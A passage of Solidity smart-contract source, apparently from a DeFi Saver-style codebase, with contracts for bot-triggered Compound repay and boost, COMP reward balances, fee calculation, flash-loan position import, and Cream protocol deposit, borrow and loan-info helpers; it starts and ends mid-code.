public BOOST_GAS_COST = 2000000; address public constant GAS_TOKEN_INTERFACE_ADDRESS = 0x0000000000b3F879cb30FE243b4Dfee438691c04; address public constant DEFISAVER_LOGGER = 0x5c55B921f590a89C1Ebe84dF170E655a82b62126; address public constant BOT_REGISTRY_ADDRESS = 0x637726f8b08a7ABE3aE3aCaB01A80E2d8ddeF77B; CompoundMonitorProxy public compoundMonitorProxy; CompoundSubscriptions public subscriptionsContract; address public compoundFlashLoanTakerAddress; DefisaverLogger public logger = DefisaverLogger(DEFISAVER_LOGGER); modifier onlyApproved() { require(BotRegistry(BOT_REGISTRY_ADDRESS).botList(msg.sender), "Not auth bot"); _; } /// @param _compoundMonitorProxy Proxy contracts that actually is authorized to call DSProxy /// @param _subscriptions Subscriptions contract for Compound positions /// @param _compoundFlashLoanTaker Contract that actually performs Repay/Boost constructor(address _compoundMonitorProxy, address _subscriptions, address _compoundFlashLoanTaker) public { compoundMonitorProxy = CompoundMonitorProxy(_compoundMonitorProxy); subscriptionsContract = CompoundSubscriptions(_subscriptions); compoundFlashLoanTakerAddress = _compoundFlashLoanTaker; } /// @notice Bots call this method to repay for user when conditions are met /// @dev If the contract ownes gas token it will try and use it for gas price reduction /// @param _exData Exchange data /// @param _cAddresses cTokens addreses and exchange [cCollAddress, cBorrowAddress, exchangeAddress] /// @param _user The actual address that owns the Compound position function repayFor( SaverExchangeCore.ExchangeData memory _exData, address[2] memory _cAddresses, // cCollAddress, cBorrowAddress address _user ) public payable onlyApproved burnGas(REPAY_GAS_TOKEN) { (bool isAllowed, uint ratioBefore) = canCall(Method.Repay, _user); require(isAllowed); // check if conditions are met uint256 gasCost = calcGasCost(REPAY_GAS_COST); compoundMonitorProxy.callExecute{value: msg.value}( _user, compoundFlashLoanTakerAddress, abi.encodeWithSignature( "repayWithLoan((address,address,uint256,uint256,uint256,address,address,bytes,uint256),address[2],uint256)", _exData, _cAddresses, gasCost ) ); (bool isGoodRatio, uint ratioAfter) = ratioGoodAfter(Method.Repay, _user); require(isGoodRatio); // check if the after result of the actions is good returnEth(); logger.Log(address(this), _user, "AutomaticCompoundRepay", abi.encode(ratioBefore, ratioAfter)); } /// @notice Bots call this method to boost for user when conditions are met /// @dev If the contract ownes gas token it will try and use it for gas price reduction /// @param _exData Exchange data /// @param _cAddresses cTokens addreses and exchange [cCollAddress, cBorrowAddress, exchangeAddress] /// @param _user The actual address that owns the Compound position function boostFor( SaverExchangeCore.ExchangeData memory _exData, address[2] memory _cAddresses, // cCollAddress, cBorrowAddress address _user ) public payable onlyApproved burnGas(BOOST_GAS_TOKEN) { (bool isAllowed, uint ratioBefore) = canCall(Method.Boost, _user); require(isAllowed); // check if conditions are met uint256 gasCost = calcGasCost(BOOST_GAS_COST); compoundMonitorProxy.callExecute{value: msg.value}( _user, compoundFlashLoanTakerAddress, abi.encodeWithSignature( "boostWithLoan((address,address,uint256,uint256,uint256,address,address,bytes,uint256),address[2],uint256)", _exData, _cAddresses, gasCost ) ); (bool isGoodRatio, uint ratioAfter) = ratioGoodAfter(Method.Boost, _user); require(isGoodRatio); // check if the after result of the actions is good returnEth(); logger.Log(address(this), _user, "AutomaticCompoundBoost", abi.encode(ratioBefore, ratioAfter)); } /******************* INTERNAL METHODS ********************************/ function returnEth() internal { // return if some eth left if (address(this).balance > 0) { msg.sender.transfer(address(this).balance); } } /******************* STATIC METHODS ********************************/ /// @notice Checks if Boost/Repay could be triggered for the CDP /// @dev Called by MCDMonitor to enforce the min/max check /// @param _method Type of action to be called /// @param _user The actual address that owns the Compound position /// @return Boolean if it can be called and the ratio function canCall(Method _method, address _user) public view returns(bool, uint) { bool subscribed = subscriptionsContract.isSubscribed(_user); CompoundSubscriptions.CompoundHolder memory holder = subscriptionsContract.getHolder(_user); // check if cdp is subscribed if (!subscribed) return (false, 0); // check if boost and boost allowed if (_method == Method.Boost && !holder.boostEnabled) return (false, 0); uint currRatio = getSafetyRatio(_user); if (_method == Method.Repay) { return (currRatio < holder.minRatio, currRatio); } else if (_method == Method.Boost) { return (currRatio > holder.maxRatio, currRatio); } } /// @dev After the Boost/Repay check if the ratio doesn't trigger another call /// @param _method Type of action to be called /// @param _user The actual address that owns the Compound position /// @return Boolean if the recent action preformed correctly and the ratio function ratioGoodAfter(Method _method, address _user) public view returns(bool, uint) { CompoundSubscriptions.CompoundHolder memory holder; holder= subscriptionsContract.getHolder(_user); uint currRatio = getSafetyRatio(_user); if (_method == Method.Repay) { return (currRatio < holder.maxRatio, currRatio); } else if (_method == Method.Boost) { return (currRatio > holder.minRatio, currRatio); } } /// @notice Calculates gas cost (in Eth) of tx /// @dev Gas price is limited to MAX_GAS_PRICE to prevent attack of draining user CDP /// @param _gasAmount Amount of gas used for the tx function calcGasCost(uint _gasAmount) public view returns (uint) { uint gasPrice = tx.gasprice <= MAX_GAS_PRICE ? tx.gasprice : MAX_GAS_PRICE; return mul(gasPrice, _gasAmount); } /******************* OWNER ONLY OPERATIONS ********************************/ /// @notice Allows owner to change gas cost for boost operation, but only up to 3 millions /// @param _gasCost New gas cost for boost method function changeBoostGasCost(uint _gasCost) public onlyOwner { require(_gasCost < 3000000); BOOST_GAS_COST = _gasCost; } /// @notice Allows owner to change gas cost for repay operation, but only up to 3 millions /// @param _gasCost New gas cost for repay method function changeRepayGasCost(uint _gasCost) public onlyOwner { require(_gasCost < 3000000); REPAY_GAS_COST = _gasCost; } /// @notice If any tokens gets stuck in the contract owner can withdraw it /// @param _tokenAddress Address of the ERC20 token /// @param _to Address of the receiver /// @param _amount The amount to be sent function transferERC20(address _tokenAddress, address _to, uint _amount) public onlyOwner { ERC20(_tokenAddress).safeTransfer(_to, _amount); } /// @notice If any Eth gets stuck in the contract owner can withdraw it /// @param _to Address of the receiver /// @param _amount The amount to be sent function transferEth(address payable _to, uint _amount) public onlyOwner { _to.transfer(_amount); } } contract CompBalance is Exponential, GasBurner { ComptrollerInterface public constant comp = ComptrollerInterface(0x3d9819210A31b4961b30EF54bE2aeD79B9c9Cd3B); address public constant COMP_ADDR = 0xc00e94Cb662C3520282E6f5717214004A7f26888; uint224 public constant compInitialIndex = 1e36; function claimComp(address _user, address[] memory _cTokensSupply, address[] memory _cTokensBorrow) public burnGas(8) { _claim(_user, _cTokensSupply, _cTokensBorrow); ERC20(COMP_ADDR).transfer(msg.sender, ERC20(COMP_ADDR).balanceOf(address(this))); } function _claim(address _user, address[] memory _cTokensSupply, address[] memory _cTokensBorrow) internal { address[] memory u = new address[](1); u[0] = _user; comp.claimComp(u, _cTokensSupply, false, true); comp.claimComp(u, _cTokensBorrow, true, false); } function getBalance(address _user, address[] memory _cTokens) public view returns (uint) { uint compBalance = 0; for(uint i = 0; i < _cTokens.length; ++i) { compBalance += getSuppyBalance(_cTokens[i], _user); compBalance += getBorrowBalance(_cTokens[i], _user); } compBalance += ERC20(COMP_ADDR).balanceOf(_user); return compBalance; } function getSuppyBalance(address _cToken, address _supplier) public view returns (uint supplierAccrued) { ComptrollerInterface.CompMarketState memory supplyState = comp.compSupplyState(_cToken); Double memory supplyIndex = Double({mantissa: supplyState.index}); Double memory supplierIndex = Double({mantissa: comp.compSupplierIndex(_cToken, _supplier)}); if (supplierIndex.mantissa == 0 && supplyIndex.mantissa > 0) { supplierIndex.mantissa = compInitialIndex; } Double memory deltaIndex = sub_(supplyIndex, supplierIndex); uint supplierTokens = CTokenInterface(_cToken).balanceOf(_supplier); uint supplierDelta = mul_(supplierTokens, deltaIndex); supplierAccrued = add_(comp.compAccrued(_supplier), supplierDelta); } function getBorrowBalance(address _cToken, address _borrower) public view returns (uint borrowerAccrued) { ComptrollerInterface.CompMarketState memory borrowState = comp.compBorrowState(_cToken); Double memory borrowIndex = Double({mantissa: borrowState.index}); Double memory borrowerIndex = Double({mantissa: comp.compBorrowerIndex(_cToken, _borrower)}); Exp memory marketBorrowIndex = Exp({mantissa: CTokenInterface(_cToken).borrowIndex()}); if (borrowerIndex.mantissa > 0) { Double memory deltaIndex = sub_(borrowIndex, borrowerIndex); uint borrowerAmount = div_(CTokenInterface(_cToken).borrowBalanceStored(_borrower), marketBorrowIndex); uint borrowerDelta = mul_(borrowerAmount, deltaIndex); borrowerAccrued = add_(comp.compAccrued(_borrower), borrowerDelta); } } } contract CompoundSaverHelper is DSMath, Exponential { using SafeERC20 for ERC20; address payable public constant WALLET_ADDR = 0x322d58b9E75a6918f7e7849AEe0fF09369977e08; address public constant DISCOUNT_ADDR = 0x1b14E8D511c9A4395425314f849bD737BAF8208F; uint public constant MANUAL_SERVICE_FEE = 400; // 0.25% Fee uint public constant AUTOMATIC_SERVICE_FEE = 333; // 0.3% Fee address public constant ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; address public constant CETH_ADDRESS = 0x4Ddc2D193948926D02f9B1fE9e1daa0718270ED5; address public constant COMPTROLLER = 0x3d9819210A31b4961b30EF54bE2aeD79B9c9Cd3B; address public constant COMPOUND_LOGGER = 0x3DD0CDf5fFA28C6847B4B276e2fD256046a44bb7; address public constant BOT_REGISTRY_ADDRESS = 0x637726f8b08a7ABE3aE3aCaB01A80E2d8ddeF77B; /// @notice Helper method to payback the Compound debt /// @dev If amount is bigger it will repay the whole debt and send the extra to the _user /// @param _amount Amount of tokens we want to repay /// @param _cBorrowToken Ctoken address we are repaying /// @param _borrowToken Token address we are repaying /// @param _user Owner of the compound position we are paying back function paybackDebt(uint _amount, address _cBorrowToken, address _borrowToken, address payable _user) internal { uint wholeDebt = CTokenInterface(_cBorrowToken).borrowBalanceCurrent(address(this)); if (_amount > wholeDebt) { if (_borrowToken == ETH_ADDRESS) { _user.transfer((_amount - wholeDebt)); } else { ERC20(_borrowToken).safeTransfer(_user, (_amount - wholeDebt)); } _amount = wholeDebt; } approveCToken(_borrowToken, _cBorrowToken); if (_borrowToken == ETH_ADDRESS) { CEtherInterface(_cBorrowToken).repayBorrow{value: _amount}(); } else { require(CTokenInterface(_cBorrowToken).repayBorrow(_amount) == 0); } } /// @notice Calculates the fee amount /// @param _amount Amount that is converted /// @param _user Actuall user addr not DSProxy /// @param _gasCost Ether amount of gas we are spending for tx /// @param _cTokenAddr CToken addr. of token we are getting for the fee /// @return feeAmount The amount we took for the fee function getFee(uint _amount, address _user, uint _gasCost, address _cTokenAddr) internal returns (uint feeAmount) { uint fee = MANUAL_SERVICE_FEE; if (BotRegistry(BOT_REGISTRY_ADDRESS).botList(tx.origin)) { fee = AUTOMATIC_SERVICE_FEE; } address tokenAddr = getUnderlyingAddr(_cTokenAddr); if (Discount(DISCOUNT_ADDR).isCustomFeeSet(_user)) { fee = Discount(DISCOUNT_ADDR).getCustomServiceFee(_user); } feeAmount = (fee == 0) ? 0 : (_amount / fee); if (_gasCost != 0) { address oracle = ComptrollerInterface(COMPTROLLER).oracle(); uint usdTokenPrice = CompoundOracleInterface(oracle).getUnderlyingPrice(_cTokenAddr); uint ethPrice = CompoundOracleInterface(oracle).getUnderlyingPrice(CETH_ADDRESS); uint tokenPriceInEth = wdiv(usdTokenPrice, ethPrice); _gasCost = wdiv(_gasCost, tokenPriceInEth); feeAmount = add(feeAmount, _gasCost); } // fee can't go over 20% of the whole amount if (feeAmount > (_amount / 5)) { feeAmount = _amount / 5; } if (tokenAddr == ETH_ADDRESS) { WALLET_ADDR.transfer(feeAmount); } else { ERC20(tokenAddr).safeTransfer(WALLET_ADDR, feeAmount); } } /// @notice Calculates the gas cost of transaction and send it to wallet /// @param _amount Amount that is converted /// @param _gasCost Ether amount of gas we are spending for tx /// @param _cTokenAddr CToken addr. of token we are getting for the fee /// @return feeAmount The amount we took for the fee function getGasCost(uint _amount, uint _gasCost, address _cTokenAddr) internal returns (uint feeAmount) { address tokenAddr = getUnderlyingAddr(_cTokenAddr); if (_gasCost != 0) { address oracle = ComptrollerInterface(COMPTROLLER).oracle(); uint usdTokenPrice = CompoundOracleInterface(oracle).getUnderlyingPrice(_cTokenAddr); uint ethPrice = CompoundOracleInterface(oracle).getUnderlyingPrice(CETH_ADDRESS); uint tokenPriceInEth = wdiv(usdTokenPrice, ethPrice); feeAmount = wdiv(_gasCost, tokenPriceInEth); } // fee can't go over 20% of the whole amount if (feeAmount > (_amount / 5)) { feeAmount = _amount / 5; } if (tokenAddr == ETH_ADDRESS) { WALLET_ADDR.transfer(feeAmount); } else { ERC20(tokenAddr).safeTransfer(WALLET_ADDR, feeAmount); } } /// @notice Enters the market for the collatera and borrow tokens /// @param _cTokenAddrColl Collateral address we are entering the market in /// @param _cTokenAddrBorrow Borrow address we are entering the market in function enterMarket(address _cTokenAddrColl, address _cTokenAddrBorrow) internal { address[] memory markets = new address[](2); markets[0] = _cTokenAddrColl; markets[1] = _cTokenAddrBorrow; ComptrollerInterface(COMPTROLLER).enterMarkets(markets); } /// @notice Approves CToken contract to pull underlying tokens from the DSProxy /// @param _tokenAddr Token we are trying to approve /// @param _cTokenAddr Address which will gain the approval function approveCToken(address _tokenAddr, address _cTokenAddr) internal { if (_tokenAddr != ETH_ADDRESS) { ERC20(_tokenAddr).safeApprove(_cTokenAddr, uint(-1)); } } /// @notice Returns the underlying address of the cToken asset /// @param _cTokenAddress cToken address /// @return Token address of the cToken specified function getUnderlyingAddr(address _cTokenAddress) internal returns (address) { if (_cTokenAddress == CETH_ADDRESS) { return ETH_ADDRESS; } else { return CTokenInterface(_cTokenAddress).underlying(); } } /// @notice Returns the owner of the DSProxy that called the contract function getUserAddress() internal view returns (address) { DSProxy proxy = DSProxy(uint160(address(this))); return proxy.owner(); } /// @notice Returns the maximum amount of collateral available to withdraw /// @dev Due to rounding errors the result is - 1% wei from the exact amount /// @param _cCollAddress Collateral we are getting the max value of /// @param _account Users account /// @return Returns the max. collateral amount in that token function getMaxCollateral(address _cCollAddress, address _account) public returns (uint) { (, uint liquidityInUsd, ) = ComptrollerInterface(COMPTROLLER).getAccountLiquidity(_account); uint usersBalance = CTokenInterface(_cCollAddress).balanceOfUnderlying(_account); address oracle = ComptrollerInterface(COMPTROLLER).oracle(); if (liquidityInUsd == 0) return usersBalance; CTokenInterface(_cCollAddress).accrueInterest(); (, uint collFactorMantissa) = ComptrollerInterface(COMPTROLLER).markets(_cCollAddress); Exp memory collateralFactor = Exp({mantissa: collFactorMantissa}); (, uint tokensToUsd) = divScalarByExpTruncate(liquidityInUsd, collateralFactor); uint usdPrice = CompoundOracleInterface(oracle).getUnderlyingPrice(_cCollAddress); uint liqInToken = wdiv(tokensToUsd, usdPrice); if (liqInToken > usersBalance) return usersBalance; return sub(liqInToken, (liqInToken / 100)); // cut off 1% due to rounding issues } /// @notice Returns the maximum amount of borrow amount available /// @dev Due to rounding errors the result is - 1% wei from the exact amount /// @param _cBorrowAddress Borrow token we are getting the max value of /// @param _account Users account /// @return Returns the max. borrow amount in that token function getMaxBorrow(address _cBorrowAddress, address _account) public returns (uint) { (, uint liquidityInUsd, ) = ComptrollerInterface(COMPTROLLER).getAccountLiquidity(_account); address oracle = ComptrollerInterface(COMPTROLLER).oracle(); CTokenInterface(_cBorrowAddress).accrueInterest(); uint usdPrice = CompoundOracleInterface(oracle).getUnderlyingPrice(_cBorrowAddress); uint liquidityInToken = wdiv(liquidityInUsd, usdPrice); return sub(liquidityInToken, (liquidityInToken / 100)); // cut off 1% due to rounding issues } } contract CompoundImportFlashLoan is FlashLoanReceiverBase { using SafeERC20 for ERC20; ILendingPoolAddressesProvider public LENDING_POOL_ADDRESS_PROVIDER = ILendingPoolAddressesProvider(0x24a42fD28C976A61Df5D00D0599C34c4f90748c8); address public constant COMPOUND_BORROW_PROXY = 0xb7EDC39bE76107e2Cc645f0f6a3D164f5e173Ee2; address public owner; constructor() FlashLoanReceiverBase(LENDING_POOL_ADDRESS_PROVIDER) public { owner = msg.sender; } /// @notice Called by Aave when sending back the FL amount /// @param _reserve The address of the borrowed token /// @param _amount Amount of FL tokens received /// @param _fee FL Aave fee /// @param _params The params that are sent from the original FL caller contract function executeOperation( address _reserve, uint256 _amount, uint256 _fee, bytes calldata _params) external override { ( address cCollateralToken, address cBorrowToken, address user, address proxy ) = abi.decode(_params, (address,address,address,address)); // approve FL tokens so we can repay them ERC20(_reserve).safeApprove(cBorrowToken, 0); ERC20(_reserve).safeApprove(cBorrowToken, uint(-1)); // repay compound debt require(CTokenInterface(cBorrowToken).repayBorrowBehalf(user, uint(-1)) == 0, "Repay borrow behalf fail"); // transfer cTokens to proxy uint cTokenBalance = CTokenInterface(cCollateralToken).balanceOf(user); require(CTokenInterface(cCollateralToken).transferFrom(user, proxy, cTokenBalance)); // borrow bytes memory proxyData = getProxyData(cCollateralToken, cBorrowToken, _reserve, (_amount + _fee)); DSProxyInterface(proxy).execute(COMPOUND_BORROW_PROXY, proxyData); // Repay the loan with the money DSProxy sent back transferFundsBackToPoolInternal(_reserve, _amount.add(_fee)); } /// @notice Formats function data call so we can call it through DSProxy /// @param _cCollToken CToken address of collateral /// @param _cBorrowToken CToken address we will borrow /// @param _borrowToken Token address we will borrow /// @param _amount Amount that will be borrowed /// @return proxyData Formated function call data function getProxyData(address _cCollToken, address _cBorrowToken, address _borrowToken, uint _amount) internal pure returns (bytes memory proxyData) { proxyData = abi.encodeWithSignature( "borrow(address,address,address,uint256)", _cCollToken, _cBorrowToken, _borrowToken, _amount); } function withdrawStuckFunds(address _tokenAddr, uint _amount) public { require(owner == msg.sender, "Must be owner"); if (_tokenAddr == 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE) { msg.sender.transfer(_amount); } else { ERC20(_tokenAddr).safeTransfer(owner, _amount); } } } contract CompoundImportTaker is CompoundSaverHelper, ProxyPermission, GasBurner { ILendingPool public constant lendingPool = ILendingPool(0x398eC7346DcD622eDc5ae82352F02bE94C62d119); address payable public constant COMPOUND_IMPORT_FLASH_LOAN = 0xaf9f8781A4c39Ce2122019fC05F22e3a662B0A32; address public constant PROXY_REGISTRY_ADDRESS = 0x4678f0a6958e4D2Bc4F1BAF7Bc52E8F3564f3fE4; DefisaverLogger public constant logger = DefisaverLogger(0x5c55B921f590a89C1Ebe84dF170E655a82b62126); /// @notice Starts the process to move users position 1 collateral and 1 borrow /// @dev User must approve COMPOUND_IMPORT_FLASH_LOAN to pull _cCollateralToken /// @param _cCollateralToken Collateral we are moving to DSProxy /// @param _cBorrowToken Borrow token we are moving to DSProxy function importLoan(address _cCollateralToken, address _cBorrowToken) external burnGas(20) { address proxy = getProxy(); uint loanAmount = CTokenInterface(_cBorrowToken).borrowBalanceCurrent(msg.sender); bytes memory paramsData = abi.encode(_cCollateralToken, _cBorrowToken, msg.sender, proxy); givePermission(COMPOUND_IMPORT_FLASH_LOAN); lendingPool.flashLoan(COMPOUND_IMPORT_FLASH_LOAN, getUnderlyingAddr(_cBorrowToken), loanAmount, paramsData); removePermission(COMPOUND_IMPORT_FLASH_LOAN); logger.Log(address(this), msg.sender, "CompoundImport", abi.encode(loanAmount, 0, _cCollateralToken)); } /// @notice Gets proxy address, if user doesn't has DSProxy build it /// @return proxy DsProxy address function getProxy() internal returns (address proxy) { proxy = ProxyRegistryInterface(PROXY_REGISTRY_ADDRESS).proxies(msg.sender); if (proxy == address(0)) { proxy = ProxyRegistryInterface(PROXY_REGISTRY_ADDRESS).build(msg.sender); } } } contract CreamBasicProxy is GasBurner { address public constant ETH_ADDR = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; address public constant COMPTROLLER_ADDR = 0x3d5BC3c8d13dcB8bF317092d84783c2697AE9258; using SafeERC20 for ERC20; /// @notice User deposits tokens to the cream protocol /// @dev User needs to approve the DSProxy to pull the _tokenAddr tokens /// @param _tokenAddr The address of the token to be deposited /// @param _cTokenAddr CTokens to be deposited /// @param _amount Amount of tokens to be deposited /// @param _inMarket True if the token is already in market for that address function deposit(address _tokenAddr, address _cTokenAddr, uint _amount, bool _inMarket) public burnGas(5) payable { if (_tokenAddr != ETH_ADDR) { ERC20(_tokenAddr).safeTransferFrom(msg.sender, address(this), _amount); } approveToken(_tokenAddr, _cTokenAddr); if (!_inMarket) { enterMarket(_cTokenAddr); } if (_tokenAddr != ETH_ADDR) { require(CTokenInterface(_cTokenAddr).mint(_amount) == 0); } else { CEtherInterface(_cTokenAddr).mint{value: msg.value}(); // reverts on fail } } /// @notice User withdraws tokens to the cream protocol /// @param _tokenAddr The address of the token to be withdrawn /// @param _cTokenAddr CTokens to be withdrawn /// @param _amount Amount of tokens to be withdrawn /// @param _isCAmount If true _amount is cTokens if falls _amount is underlying tokens function withdraw(address _tokenAddr, address _cTokenAddr, uint _amount, bool _isCAmount) public burnGas(5) { if (_isCAmount) { require(CTokenInterface(_cTokenAddr).redeem(_amount) == 0); } else { require(CTokenInterface(_cTokenAddr).redeemUnderlying(_amount) == 0); } // withdraw funds to msg.sender if (_tokenAddr != ETH_ADDR) { ERC20(_tokenAddr).safeTransfer(msg.sender, ERC20(_tokenAddr).balanceOf(address(this))); } else { msg.sender.transfer(address(this).balance); } } /// @notice User borrows tokens to the cream protocol /// @param _tokenAddr The address of the token to be borrowed /// @param _cTokenAddr CTokens to be borrowed /// @param _amount Amount of tokens to be borrowed /// @param _inMarket True if the token is already in market for that address function borrow(address _tokenAddr, address _cTokenAddr, uint _amount, bool _inMarket) public burnGas(8) { if (!_inMarket) { enterMarket(_cTokenAddr); } require(CTokenInterface(_cTokenAddr).borrow(_amount) == 0); // withdraw funds to msg.sender if (_tokenAddr != ETH_ADDR) { ERC20(_tokenAddr).safeTransfer(msg.sender, ERC20(_tokenAddr).balanceOf(address(this))); } else { msg.sender.transfer(address(this).balance); } } /// @dev User needs to approve the DSProxy to pull the _tokenAddr tokens /// @notice User paybacks tokens to the cream protocol /// @param _tokenAddr The address of the token to be paybacked /// @param _cTokenAddr CTokens to be paybacked /// @param _amount Amount of tokens to be payedback /// @param _wholeDebt If true the _amount will be set to the whole amount of the debt function payback(address _tokenAddr, address _cTokenAddr, uint _amount, bool _wholeDebt) public burnGas(5) payable { approveToken(_tokenAddr, _cTokenAddr); if (_wholeDebt) { _amount = CTokenInterface(_cTokenAddr).borrowBalanceCurrent(address(this)); } if (_tokenAddr != ETH_ADDR) { ERC20(_tokenAddr).safeTransferFrom(msg.sender, address(this), _amount); require(CTokenInterface(_cTokenAddr).repayBorrow(_amount) == 0); } else { CEtherInterface(_cTokenAddr).repayBorrow{value: msg.value}(); msg.sender.transfer(address(this).balance); // send back the extra eth } } /// @notice Helper method to withdraw tokens from the DSProxy /// @param _tokenAddr Address of the token to be withdrawn function withdrawTokens(address _tokenAddr) public { if (_tokenAddr != ETH_ADDR) { ERC20(_tokenAddr).safeTransfer(msg.sender, ERC20(_tokenAddr).balanceOf(address(this))); } else { msg.sender.transfer(address(this).balance); } } /// @notice Enters the cream market so it can be deposited/borrowed /// @param _cTokenAddr CToken address of the token function enterMarket(address _cTokenAddr) public { address[] memory markets = new address[](1); markets[0] = _cTokenAddr; ComptrollerInterface(COMPTROLLER_ADDR).enterMarkets(markets); } /// @notice Exits the cream market so it can't be deposited/borrowed /// @param _cTokenAddr CToken address of the token function exitMarket(address _cTokenAddr) public { ComptrollerInterface(COMPTROLLER_ADDR).exitMarket(_cTokenAddr); } /// @notice Approves CToken contract to pull underlying tokens from the DSProxy /// @param _tokenAddr Token we are trying to approve /// @param _cTokenAddr Address which will gain the approval function approveToken(address _tokenAddr, address _cTokenAddr) internal { if (_tokenAddr != ETH_ADDR) { ERC20(_tokenAddr).safeApprove(_cTokenAddr, uint(-1)); } } } contract CreamLoanInfo is CreamSafetyRatio { struct LoanData { address user; uint128 ratio; address[] collAddr; address[] borrowAddr; uint[] collAmounts; uint[] borrowAmounts; } struct TokenInfo { address cTokenAddress; address underlyingTokenAddress; uint collateralFactor; uint price; } struct TokenInfoFull { address underlyingTokenAddress; uint supplyRate; uint borrowRate; uint exchangeRate; uint marketLiquidity; uint totalSupply; uint totalBorrow; uint collateralFactor; uint price; } address public constant ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; address public constant CETH_ADDRESS = 0xD06527D5e56A3495252A528C4987003b712860eE; /// @notice Calcualted the ratio of coll/debt for a cream user /// @param _user Address of the user function getRatio(address _user) public view returns (uint) { // For each asset the account is in return getSafetyRatio(_user); } /// @notice Fetches cream prices for tokens /// @param _cTokens Arr. of cTokens for which to get the prices /// @return prices Array of prices function getPrices(address[] memory _cTokens) public view returns (uint[] memory prices) { prices = new uint[](_cTokens.length); address oracleAddr = comp.oracle(); for (uint i = 0; i < _cTokens.length; ++i) { prices[i] = CompoundOracleInterface(oracleAddr).getUnderlyingPrice(_cTokens[i]); } } /// @notice Fetches cream collateral factors for tokens /// @param _cTokens Arr. of cTokens for which to get the coll. factors /// @return collFactors Array of coll. factors function getCollFactors(address[] memory _cTokens) public view returns (uint[] memory collFactors) { collFactors = new uint[](_cTokens.length); for (uint i = 0; i < _cTokens.length; ++i) { (, collFactors[i]) = comp.markets(_cTokens[i]); } } /// @notice Fetches all the collateral/debt address and amounts, denominated in eth /// @param _user Address of the user /// @return data LoanData information function getLoanData(address _user) public view returns (LoanData memory data) { address[] memory assets = comp.getAssetsIn(_user); address oracleAddr = comp.oracle(); data = LoanData({ user: _user, ratio: 0, collAddr: new address[](assets.length), borrowAddr: new address[](assets.length), collAmounts: new uint[](assets.length), borrowAmounts: new uint[](assets.length) }); uint collPos = 0; uint borrowPos = 0; for (uint i = 0; i < assets.length; i++) { address asset = assets[i]; (, uint cTokenBalance, uint borrowBalance, uint exchangeRateMantissa) = CTokenInterface(asset).getAccountSnapshot(_user); Exp memory oraclePrice; if (cTokenBalance != 0 || borrowBalance != 0) { oraclePrice = Exp({mantissa: CompoundOracleInterface(oracleAddr).getUnderlyingPrice(asset)}); } // Sum up collateral in eth if (cTokenBalance != 0) { Exp memory exchangeRate = Exp({mantissa: exchangeRateMantissa}); (, Exp memory tokensToEth) = mulExp(exchangeRate, oraclePrice); data.collAddr[collPos] = asset; (, data.collAmounts[collPos]) = mulScalarTruncate(tokensToEth, cTokenBalance); collPos++; } // Sum up debt in eth if (borrowBalance != 0) { data.borrowAddr[borrowPos] = asset; (, data.borrowAmounts[borrowPos]) = mulScalarTruncate(oraclePrice, borrowBalance); borrowPos++; } } data.ratio = uint128(getSafetyRatio(_user)); return data; } function getTokenBalances(address _user, address[] memory _cTokens) public view returns (uint[] memory balances, uint[] memory borrows) { balances = new uint[](_cTokens.length); borrows = new uint[](_cTokens.length); for (uint i = 0; i < _cTokens.length; i++) { address asset = _cTokens[i]; (, uint cTokenBalance, uint borrowBalance, uint exchangeRateMantissa) = CTokenInterface(asset).getAccountSnapshot(_user); Exp memory exchangeRate = Exp({mantissa: exchangeRateMantissa}); (, balances[i]) = mulScalarTruncate(exchangeRate, cTokenBalance); borrows[i] = borrowBalance; } } /// @notice Fetches all the collateral/debt address and amounts, denominated in eth /// @param _users Addresses of the user /// @return loans Array of LoanData information function getLoanDataArr(address[] memory _users) public view returns (LoanData[] memory loans) { loans = new LoanData[](_users.length); for (uint i = 0; i < _users.length; ++i) { loans[i] = getLoanData(_users[i]); } } /// @notice Calcualted the ratio of coll/debt for a cream user /// @param _users Addresses of the user /// @return ratios Array of ratios function getRatios(address[] memory _users) public view returns (uint[] memory ratios) { ratios = new uint[](_users.length); for (uint i = 0; i < _users.length; ++i) { ratios[i] = getSafetyRatio(_users[i]); } } /// @notice Information about cTokens /// @param _cTokenAddresses Array of cTokens addresses /// @return tokens Array of cTokens infomartion function getTokensInfo(address[] memory _cTokenAddresses) public returns(TokenInfo[] memory tokens) { tokens = new TokenInfo[](_cTokenAddresses.length); address oracleAddr = comp.oracle(); for (uint i = 0; i < _cTokenAddresses.length; ++i) { (, uint collFactor) = comp.markets(_cTokenAddresses[i]); tokens[i] = TokenInfo({ cTokenAddress: _cTokenAddresses[i], underlyingTokenAddress: getUnderlyingAddr(_cTokenAddresses[i]), collateralFactor: collFactor, price: CompoundOracleInterface(oracleAddr).getUnderlyingPrice(_cTokenAddresses[i]) }); } } /// @notice Information about cTokens /// @param _cTokenAddresses Array of cTokens addresses /// @return tokens Array of cTokens infomartion function getFullTokensInfo(address[] memory _cTokenAddresses) public returns(TokenInfoFull[] memory tokens) { tokens = new TokenInfoFull[](_cTokenAddresses.length); address oracleAddr = comp.oracle(); for (uint i = 0; i < _cTokenAddresses.length; ++i) { (, uint collFactor) = comp.markets(_cTokenAddresses[i]); CTokenInterface cToken = CTokenInterface(_cTokenAddresses[i]); tokens[i] = TokenInfoFull({ underlyingTokenAddress: getUnderlyingAddr(_cTokenAddresses[i]), supplyRate: cToken.supplyRatePerBlock(), borrowRate: cToken.borrowRatePerBlock(), exchangeRate: cToken.exchangeRateCurrent(), marketLiquidity: cToken.getCash(), totalSupply: cToken.totalSupply(), totalBorrow: cToken.totalBorrowsCurrent(), collateralFactor: collFactor, price: CompoundOracleInterface(oracleAddr).getUnderlyingPrice(_cTokenAddresses[i]) }); } } /// @notice Returns the underlying address of the cToken asset /// @param _cTokenAddress cToken address /// @return Token address of the cToken specified function getUnderlyingAddr(address _cTokenAddress) internal returns (address) { if (_cTokenAddress == CETH_ADDRESS) { return ETH_ADDRESS; } else { return CTokenInterface(_cTokenAddress).underlying(); } } } contract CreamImportFlashLoan is FlashLoanReceiverBase { using SafeERC20 for ERC20; ILendingPoolAddressesProvider public LENDING_POOL_ADDRESS_PROVIDER = ILendingPoolAddressesProvider(0x24a42fD28C976A61Df5D00D0599C34c4f90748c8); address public constant CREAM_BORROW_PROXY = 0x87F198Ef6116CdBC5f36B581d212ad950b7e2Ddd; address public owner; constructor() 